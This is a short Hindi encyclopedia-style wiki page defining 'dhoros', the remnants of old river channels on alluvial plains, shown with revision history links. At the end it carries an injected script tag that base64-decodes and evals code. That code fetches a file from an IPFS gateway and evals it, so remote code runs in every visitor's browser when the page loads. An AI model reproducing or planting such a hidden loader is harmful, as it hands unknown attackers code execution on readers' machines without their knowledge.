धोरोस
भारत डिस्कवरी प्रस्तुति
फ़ौज़िया ख़ान (चर्चा | योगदान) द्वारा परिवर्तित 05:18, 22 नवम्बर 2011 का अवतरण
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
धोरोस से तात्पर्य एक विशेष प्रकार के लम्बे और संकरे गर्त से है।
- जलोढ़ बालू तथा मृत्तिका के निक्षेपण से धरातल का निर्माण होता है।
- इन धरातलों पर पुराने नदी मार्गों के अवशेष पाये जाते हैं।
- नदी मार्गों के इन पुराने अवशेषों को ही धोरोस कहा जाता है।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>